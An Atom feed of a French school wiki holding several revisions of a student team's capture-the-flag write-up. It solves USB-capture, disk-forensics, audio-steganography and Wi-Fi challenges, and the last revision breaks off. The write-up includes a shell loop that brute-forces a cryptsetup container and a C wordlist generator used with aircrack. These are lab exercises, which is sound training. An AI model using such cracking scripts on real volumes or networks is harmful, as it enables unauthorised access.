<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Lwadbled</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Lwadbled"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Lwadbled"/>
		<updated>2026-05-12T22:00:28Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58346</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58346"/>
				<updated>2022-01-20T13:10:03Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Encore une image en musique */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
 	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
 	 if [ $? -ne 0 ];&lt;br /&gt;
 	 then &lt;br /&gt;
 		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
 		 exit&lt;br /&gt;
 	 fi &lt;br /&gt;
 &lt;br /&gt;
 	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
 	 if [ $? -eq 0 ]; then &lt;br /&gt;
 	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
 	 	exit&lt;br /&gt;
 	 else&lt;br /&gt;
 	 	cryptsetup close chiffre chiffre&lt;br /&gt;
 	 fi   &lt;br /&gt;
 &lt;br /&gt;
 	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
En lisant le fichier octet par octet, on trouve des paquets de 4 octets qui se répetent&lt;br /&gt;
On simplifie le motif en supprimant toutes les occurences superflues. On obtient une suite de symboles que l'on essaye d'interpréter comme soit des 0 soit des 1.&lt;br /&gt;
On se retrouve donc avec un fichier binaire. En interprétant ce dernier comme de l'ASCII on trouve un en-tête de la forme :&lt;br /&gt;
 P6&lt;br /&gt;
 225 225&lt;br /&gt;
 255&lt;br /&gt;
 //le reste du code binaire&lt;br /&gt;
&lt;br /&gt;
Cela fait penser à la trame d'un fichier ppm en nuance de gris&lt;br /&gt;
Lorsqu'on l'affiche comme tel, on n'obtient malheuresement pas une image lisisble&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
En remontant un peu dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type.&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C :&lt;br /&gt;
 #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 int main() {&lt;br /&gt;
        char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
 	char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 	for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
  		for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
 			for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
 				for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
 					for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
 						for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
 							for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
 								for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
 									if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
 										printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
 								}&lt;br /&gt;
 							}&lt;br /&gt;
 						}&lt;br /&gt;
 					}&lt;br /&gt;
 				}&lt;br /&gt;
 			}&lt;br /&gt;
 		}&lt;br /&gt;
 	}&lt;br /&gt;
 &lt;br /&gt;
 	return 0;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58328</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58328"/>
				<updated>2022-01-20T13:00:50Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
On écrit un programme C pour générer un dictionnaire prennant en compte les informations fournies sur le mot de passe.&lt;br /&gt;
Une fois le dictionnaire généré, on le teste face aux trames receptionnées grâce à l'utilitaire aircrack.&lt;br /&gt;
Au bout d'une trentaine de minutes, la clé est cassée.&lt;br /&gt;
&lt;br /&gt;
Code C : &lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
		char v[] = &amp;quot;aeiouy&amp;quot;;&lt;br /&gt;
		char x[] = &amp;quot;zrtpqsdfghjklmwxcvbn&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
		for (int a = 0; a &amp;lt; 20 ; a++) {&lt;br /&gt;
				for (int b = 0;b&amp;lt;6; b++) {&lt;br /&gt;
						for (int c = 0; c &amp;lt; 20 ; c++) {&lt;br /&gt;
								for (int d = 0;d&amp;lt;6; d++) {&lt;br /&gt;
										for (int e = 0; e &amp;lt; 20 ; e++) {&lt;br /&gt;
												for (int f = 0;f&amp;lt;6; f++) {&lt;br /&gt;
														for (int g = 0; g &amp;lt; 20 ; g++) {&lt;br /&gt;
																for (int h = 0;h&amp;lt;6; h++) {&lt;br /&gt;
																	if (a==19 || c==19 || e==19 || g==19)&lt;br /&gt;
																		printf(&amp;quot;%c%c%c%c%c%c%c%c\n&amp;quot;, x[a],v[b],x[c],v[d],x[e],v[f],x[g],v[h]);&lt;br /&gt;
																}&lt;br /&gt;
														}&lt;br /&gt;
												}&lt;br /&gt;
										}&lt;br /&gt;
								}&lt;br /&gt;
						}&lt;br /&gt;
				}&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé sur le fichier 'test.json' comportant les données exportées en JSON :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
 import json&lt;br /&gt;
 import matplotlib.pyplot as plt&lt;br /&gt;
 &lt;br /&gt;
 def main():&lt;br /&gt;
   packets_export_file = open('test.json')&lt;br /&gt;
   packets = json.load(packets_export_file)&lt;br /&gt;
 &lt;br /&gt;
   x_offsets = [int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.x&amp;quot;])&lt;br /&gt;
     for p in packets] &lt;br /&gt;
 &lt;br /&gt;
   y_offsets = [-int(p[&amp;quot;_source&amp;quot;][&amp;quot;layers&amp;quot;][&amp;quot;usbhid.data_tree&amp;quot;][&amp;quot;usbhid.data.axis.y&amp;quot;])&lt;br /&gt;
     for p in packets]&lt;br /&gt;
 &lt;br /&gt;
   x_positions = list(itertools.accumulate(x_offsets))&lt;br /&gt;
   y_positions = list(itertools.accumulate(y_offsets))&lt;br /&gt;
 &lt;br /&gt;
   plt.plot(x_positions, y_positions)&lt;br /&gt;
   plt.title(&amp;quot;Mouse position&amp;quot;)&lt;br /&gt;
   plt.xlabel(&amp;quot;X&amp;quot;)&lt;br /&gt;
   plt.ylabel(&amp;quot;Y&amp;quot;)&lt;br /&gt;
   plt.show()&lt;br /&gt;
   &lt;br /&gt;
 main()&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58326</id>
		<title>Cyber 2021/2022 G3</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&amp;diff=58326"/>
				<updated>2022-01-20T13:00:10Z</updated>
		
		<summary type="html">&lt;p&gt;Lwadbled : /* Déjà vu */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Equipe : Louis WADBLED, Clement GODET&lt;br /&gt;
&lt;br /&gt;
= Flocons =&lt;br /&gt;
&lt;br /&gt;
= Espion dans le bus =&lt;br /&gt;
&lt;br /&gt;
On télécharge le fichier et sur wireshark, application du filtre : &amp;lt;code&amp;gt;((usb.transfer_type == 0x01) &amp;amp;&amp;amp; (frame.len==72)) &amp;amp;&amp;amp; !(usb.capdata == 00:00:00:00:00:00:00:00)&amp;lt;/code&amp;gt;. Grâce à ce filtre, on trouve tous les paquets contenant des &amp;quot;Leftover Capture Data&amp;quot;, ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne (lorsque celui ci est différent de 0) pour trouver le flag.&lt;br /&gt;
&lt;br /&gt;
= Travail de serrurerie =&lt;br /&gt;
&lt;br /&gt;
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :&lt;br /&gt;
 $ modprobe nbd&lt;br /&gt;
permet de créer un fichier /dev/nbd0&lt;br /&gt;
&lt;br /&gt;
 $ qemu-nbd -c /dev/nbd0 data --format=raw&lt;br /&gt;
génère les partitions /dev/nbd0p1 et /dev/nbd0p2&lt;br /&gt;
&lt;br /&gt;
On monte ensuite les partitions :&lt;br /&gt;
 $ mkdir /mnt/data1 /mnt/data2&lt;br /&gt;
 $ mount /dev/nbd0p1 /mnt/data1&lt;br /&gt;
 $ mount /dev/nbd0p2 /mnt/data2&lt;br /&gt;
&lt;br /&gt;
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.&lt;br /&gt;
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'&lt;br /&gt;
Le fichier a probablement été masqué grâce à la commande 'rm'&lt;br /&gt;
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :&lt;br /&gt;
 $ photorec /dev/nbd0&lt;br /&gt;
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.&lt;br /&gt;
On trouve alors le MDP pour ouvrir l'archive&lt;br /&gt;
&lt;br /&gt;
= Spécialiste des écoutes =&lt;br /&gt;
&lt;br /&gt;
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.&lt;br /&gt;
&lt;br /&gt;
= Perçage de coffre =&lt;br /&gt;
&lt;br /&gt;
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode &amp;quot;plain&amp;quot; en spécifiant un mot de passe.&lt;br /&gt;
On teste ensuite la valeur de retour de &amp;quot;mount&amp;quot;. Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.&lt;br /&gt;
&lt;br /&gt;
On utilise le script suivant pour forcer le coffre : &lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 i=0&lt;br /&gt;
 while [ $i -lt 10000 ]&lt;br /&gt;
 do&lt;br /&gt;
	 echo $i | cryptsetup plainOpen chiffre chiffre&lt;br /&gt;
	 if [ $? -ne 0 ];&lt;br /&gt;
	 then &lt;br /&gt;
		 echo &amp;quot;Erreur lors du crytpsetup&amp;quot;&lt;br /&gt;
		 exit&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 mount /dev/mapper/chiffre /mnt/chiffre&lt;br /&gt;
	 if [ $? -eq 0 ]; then &lt;br /&gt;
	 	echo &amp;quot;Succes: $i&amp;quot;&lt;br /&gt;
	 	exit&lt;br /&gt;
	 else&lt;br /&gt;
	 	cryptsetup close chiffre chiffre&lt;br /&gt;
	 fi &lt;br /&gt;
&lt;br /&gt;
	 i=$(( i+1 ))&lt;br /&gt;
 done&lt;br /&gt;
&lt;br /&gt;
Une fois le code trouvé, on a un dossier monté.&lt;br /&gt;
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet&lt;br /&gt;
&lt;br /&gt;
= Déchiffrer le manuscrit =&lt;br /&gt;
&lt;br /&gt;
On utilise Wireshark pour visualiser les trames.&lt;br /&gt;
On remarque un échange entre un périphérique et l'ordinateur.&lt;br /&gt;
La seule data qui change est contenue à la fin du packet.&lt;br /&gt;
Les PID et VID au début de la communication nous informent que le périphérique est une souris.&lt;br /&gt;
On essaye d'interpréter la donnée qui varie. Puisqu'il s'agit d'une souris, il y aura un octet pour representer les boutons appuyés ou non, et un certain nombre d'octets pour la direction en X et Y&lt;br /&gt;
On garde à l'esprit qu'une souris bouge dans les 2 sens, et donc que l'information du capteur peut etre positive OU négative. De plus, on essaye d'interpréter la data en little ET en big endian étant donné que l'on ne connait pas la convention utilisée.&lt;br /&gt;
En prenant en compte les points pour lesquels le bouton de la souris est enfoncé, on trouve un lien qui nous donne le drapeau.&lt;br /&gt;
&lt;br /&gt;
= Dessiner avec des sons =&lt;br /&gt;
&lt;br /&gt;
= Encore une image en musique =&lt;br /&gt;
&lt;br /&gt;
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. &lt;br /&gt;
&lt;br /&gt;
 cat audiodump.wav | tail -400&lt;br /&gt;
&lt;br /&gt;
On trouve sur internet de quel type de donnée il s'agit pour le bloc (qui se termine par &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt; donc base64), que l'on peut convertir en image (https://base64.guru/converter/decode/image). L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).&lt;br /&gt;
&lt;br /&gt;
= Clef à la loupe =&lt;br /&gt;
&lt;br /&gt;
= Filsss fait un sssssomme =&lt;br /&gt;
&lt;br /&gt;
Voir le cours sur une technique pas technique pour abuser de certaines personnes.&lt;br /&gt;
&lt;br /&gt;
= Existe-t-il encore de vraies brutes ? =&lt;br /&gt;
&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
= Déjà vu =&lt;br /&gt;
&lt;br /&gt;
Avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response DEVICE&amp;lt;/code&amp;gt; (taille 82), on trouve l'idVendor (Mad Catz) et avec le &amp;lt;code&amp;gt;GET DESCRIPTOR Response CONFIGURATION&amp;lt;/code&amp;gt; (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une &amp;lt;code&amp;gt;frame.len==71&amp;lt;/code&amp;gt; car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.&lt;br /&gt;
&lt;br /&gt;
Script python utilisé :&lt;br /&gt;
&lt;br /&gt;
 import itertools&lt;br /&gt;
